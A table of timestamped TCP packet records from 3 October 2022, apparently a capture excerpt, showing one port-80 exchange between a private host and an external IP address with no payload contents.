Oct 3, 2022 17:35:28.833697081 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.833715916 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.833738089 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.833741903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.833772898 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.833797932 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.834867954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.834913969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.834938049 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.834965944 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.834995031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.834995985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.835066080 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.835068941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.835094929 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.835114956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.835119963 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.835145950 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.835146904 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.835170984 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.835190058 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.835465908 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.835499048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.835535049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.835541964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.835567951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.835570097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.835592031 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.835597992 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.835611105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.835624933 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.835639000 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.835665941 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.836463928 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.836550951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.836601973 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.836649895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.837693930 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.837733030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.837760925 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.837788105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.837816954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.837842941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.837846041 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.837867022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.837888956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.837896109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.837917089 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.837924004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.837945938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.837950945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.837975979 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.837976933 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.837999105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838004112 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838018894 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838031054 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838057041 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838059902 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838073015 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838083029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838098049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838112116 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838130951 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838140011 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838154078 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838166952 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838184118 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838193893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838206053 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838219881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838232040 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838247061 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838267088 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838274002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838289976 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838300943 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838323116 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838327885 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838349104 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838356018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838382959 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838383913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838397026 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838409901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838423014 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838435888 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838449955 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838464022 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838491917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838515997 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838515997 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838519096 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838531971 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838545084 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838568926 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838571072 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838591099 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838598967 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838623047 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838624954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838639021 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838651896 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838665962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838679075 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838690042 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838706017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838720083 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838732958 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838753939 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838761091 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838773966 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838788986 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838804007 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838816881 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838831902 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838845015 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838865042 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838871002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838893890 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838910103 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838922977 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838938951 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838959932 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838967085 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.838977098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.838994980 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.839010000 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.839030027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.873361111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873423100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873446941 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873470068 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873492002 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873513937 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873538971 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873560905 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873575926 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.873584032 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873606920 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873625040 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.873629093 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873652935 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873656034 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.873675108 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873682976 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.873697996 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873720884 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873723030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.873743057 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873765945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873755932 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.873790979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873794079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.873814106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873842955 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.873850107 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873859882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.873872042 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873898983 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.873913050 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873924971 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.873948097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873960972 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.873980999 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.873996019 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874013901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874027967 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874048948 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874068022 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874080896 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874088049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874115944 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874128103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874152899 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874160051 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874188900 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874196053 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874223948 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874234915 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874259949 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874269962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874294043 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874310017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874329090 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874337912 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874366045 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874377012 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874402046 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874412060 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874439001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874448061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874471903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874481916 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874504089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874521971 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874541998 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874552965 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874578953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874586105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874614000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874629021 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874649048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874660015 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874682903 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874694109 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874711037 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874728918 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874737024 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874753952 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874759912 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874787092 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874789953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874809027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874813080 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874838114 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874840975 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874861002 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874862909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874893904 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874908924 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874917030 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874943972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874967098 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874967098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.874989033 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.874990940 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875013113 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875014067 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875035048 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875037909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875057936 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875061035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875085115 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875085115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875108004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875108004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875127077 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875130892 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875150919 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875154018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875175953 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875176907 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875197887 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875200033 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875221968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875222921 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875241995 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875246048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875267982 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875268936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875292063 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875292063 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875313044 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875317097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875333071 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875340939 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875353098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875363111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875386000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875391960 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875408888 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875410080 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875432014 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875432014 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875452995 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875456095 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875475883 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875478029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875502110 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875504017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875524998 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875526905 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875547886 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875550032 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875565052 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875571012 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875591993 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875593901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875613928 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875617981 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875641108 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875642061 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875660896 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875663996 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875688076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875691891 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875708103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875711918 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875735044 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875737906 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875758886 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875760078 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875776052 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875785112 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875802040 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875808001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875829935 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875832081 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875848055 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875854969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875868082 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875876904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875899076 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875901937 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875916004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875925064 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875938892 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875947952 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875972033 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.875972033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875994921 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.875994921 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876018047 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876019001 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876035929 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876040936 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876058102 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876065016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876079082 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876087904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876111984 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876136065 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876144886 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876158953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876180887 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876183987 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876204014 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876209021 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876231909 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876235962 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.876255989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.876259089 CEST	49703	80	192.168.2.7	193.38.55.180
